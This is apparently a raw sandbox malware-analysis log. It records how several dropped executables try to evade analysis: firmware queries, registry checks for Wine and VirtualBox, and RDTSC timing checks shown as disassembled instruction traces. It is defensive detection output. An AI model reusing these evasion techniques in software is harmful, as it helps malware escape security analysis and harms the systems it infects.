Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 450147 second address: 45014C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44F9A1 second address: 44F9A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9A02 second address: 5B9A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F889508B64Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C50B8 second address: 5C50BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C50BE second address: 5C50C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C524F second address: 5C5259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C5259 second address: 5C525D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C81E9 second address: 5C81ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C81ED second address: 5C81FE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C81FE second address: 5C823C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e je 00007F8894B8152Fh 0x00000014 jmp 00007F8894B81529h 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c jl 00007F8894B8151Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C823C second address: 5C826F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F889508B651h 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F889508B657h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C826F second address: 44F9A1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8894B8151Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov cx, 8007h 0x0000000f push dword ptr [ebp+122D1689h] 0x00000015 mov dword ptr [ebp+122D1868h], eax 0x0000001b call dword ptr [ebp+122D1B07h] 0x00000021 pushad 0x00000022 jc 00007F8894B81522h 0x00000028 pushad 0x00000029 jng 00007F8894B81516h 0x0000002f mov ax, B9DCh 0x00000033 popad 0x00000034 add dword ptr [ebp+122D19ADh], ebx 0x0000003a xor eax, eax 0x0000003c stc 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 pushad 0x00000042 mov ecx, dword ptr [ebp+122D3731h] 0x00000048 and dh, 00000065h 0x0000004b popad 0x0000004c mov dword ptr [ebp+122D36A9h], eax 0x00000052 jmp 00007F8894B8151Ch 0x00000057 mov esi, 0000003Ch 0x0000005c jnp 00007F8894B8151Ch 0x00000062 jnp 00007F8894B8151Ch 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c sub dword ptr [ebp+122D1855h], eax 0x00000072 lodsw 0x00000074 mov dword ptr [ebp+122D17DAh], ecx 0x0000007a add eax, dword ptr [esp+24h] 0x0000007e mov dword ptr [ebp+122D19ADh], edx 0x00000084 mov dword ptr [ebp+122D17D4h], eax 0x0000008a mov ebx, dword ptr [esp+24h] 0x0000008e jmp 00007F8894B8151Fh 0x00000093 cmc 0x00000094 nop 0x00000095 jmp 00007F8894B8151Dh 0x0000009a push eax 0x0000009b pushad 0x0000009c ja 00007F8894B81518h 0x000000a2 push ecx 0x000000a3 pop ecx 0x000000a4 push eax 0x000000a5 push edx 0x000000a6 jno 00007F8894B81516h 0x000000ac rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8364 second address: 5C8369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8369 second address: 5C840E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8894B8151Fh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d jmp 00007F8894B81522h 0x00000012 pop esi 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F8894B81518h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e movsx edx, di 0x00000031 jmp 00007F8894B8151Ch 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F8894B81518h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 mov esi, 74521C34h 0x00000057 xor dword ptr [ebp+122D19F1h], ebx 0x0000005d push EF725019h 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F8894B81528h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C840E second address: 5C8486 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F889508B648h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 108DB067h 0x00000013 mov dword ptr [ebp+122D1C3Fh], edx 0x00000019 push 00000003h 0x0000001b mov ecx, dword ptr [ebp+122D36C5h] 0x00000021 push 00000000h 0x00000023 mov esi, 08625E5Ch 0x00000028 mov dword ptr [ebp+12447435h], ebx 0x0000002e push 00000003h 0x00000030 xor dword ptr [ebp+122D1A34h], ecx 0x00000036 call 00007F889508B649h 0x0000003b jo 00007F889508B650h 0x00000041 jmp 00007F889508B64Ah 0x00000046 push eax 0x00000047 jg 00007F889508B651h 0x0000004d mov eax, dword ptr [esp+04h] 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F889508B650h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8486 second address: 5C84AF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F8894B81524h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C84AF second address: 5C84B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C84B5 second address: 5C8511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F8894B81518h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 push ecx 0x00000022 pushad 0x00000023 mov dword ptr [ebp+122D19ECh], eax 0x00000029 mov dword ptr [ebp+1244A6E7h], eax 0x0000002f popad 0x00000030 pop esi 0x00000031 lea ebx, dword ptr [ebp+1244C160h] 0x00000037 mov edi, dword ptr [ebp+122D3655h] 0x0000003d sbb esi, 53E2FFBAh 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 jbe 00007F8894B8151Ch 0x0000004b push eax 0x0000004c push edx 0x0000004d je 00007F8894B81516h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C85EF second address: 5C85F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C85F3 second address: 5C8647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 5273F6C8h 0x0000000d mov dword ptr [ebp+122D195Ah], ecx 0x00000013 push 00000003h 0x00000015 clc 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F8894B81518h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 add dword ptr [ebp+122D1C3Fh], eax 0x00000038 push 00000003h 0x0000003a mov ecx, edi 0x0000003c push 8C72C978h 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 je 00007F8894B81516h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C8647 second address: 5C86CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B658h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F889508B64Ah 0x0000000e popad 0x0000000f xor dword ptr [esp], 4C72C978h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F889508B648h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 mov di, bx 0x00000033 lea ebx, dword ptr [ebp+1244C16Bh] 0x00000039 mov edi, dword ptr [ebp+122D1BFDh] 0x0000003f xchg eax, ebx 0x00000040 ja 00007F889508B650h 0x00000046 push eax 0x00000047 pushad 0x00000048 jmp 00007F889508B655h 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BB507 second address: 5BB50B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7A73 second address: 5E7A8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F889508B654h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8121 second address: 5E8127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8127 second address: 5E812B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E812B second address: 5E814F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B8151Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F8894B8151Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E843E second address: 5E8442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8442 second address: 5E8466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81526h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F8894B81516h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8466 second address: 5E846A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8893 second address: 5E889F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8894B81516h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E889F second address: 5E88A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E88A5 second address: 5E88AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC5D8 second address: 5DC5F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F889508B650h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC5F5 second address: 5DC606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F8894B8151Ah 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B1422 second address: 5B1428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B1428 second address: 5B142D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8B3D second address: 5E8B47 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F889508B646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8B47 second address: 5E8B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8B50 second address: 5E8B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8B57 second address: 5E8B62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8B62 second address: 5E8B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E90F5 second address: 5E90FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EFD00 second address: 5EFD06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE9F9 second address: 5EEA03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEA03 second address: 5EEA1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEA1B second address: 5EEA36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8894B81527h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0553 second address: 5F0557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4F6C second address: 5F4F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8894B81526h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F8894B8151Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F43C2 second address: 5F441C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F889508B654h 0x00000009 jmp 00007F889508B655h 0x0000000e popad 0x0000000f jl 00007F889508B64Ch 0x00000015 jnc 00007F889508B646h 0x0000001b push ebx 0x0000001c jl 00007F889508B646h 0x00000022 pop ebx 0x00000023 popad 0x00000024 pushad 0x00000025 jbe 00007F889508B652h 0x0000002b push eax 0x0000002c push edx 0x0000002d push edx 0x0000002e pop edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F46F7 second address: 5F4717 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F8894B81518h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F8894B8151Bh 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6C3A second address: 5F6C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6C40 second address: 5F6C93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 27A2E9EEh 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F8894B81518h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push ebx 0x0000002d mov edi, dword ptr [ebp+122D1A09h] 0x00000033 pop edi 0x00000034 call 00007F8894B81519h 0x00000039 push eax 0x0000003a push edx 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6C93 second address: 5F6C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6C98 second address: 5F6CC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007F8894B81524h 0x00000012 pop edi 0x00000013 jc 00007F8894B8151Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6CC2 second address: 5F6CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jnl 00007F889508B64Ah 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F889508B64Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6CE5 second address: 5F6CEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6CEA second address: 5F6CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6CFC second address: 5F6D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7C8B second address: 5F7C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7C99 second address: 5F7C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7C9D second address: 5F7CA7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7CA7 second address: 5F7CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
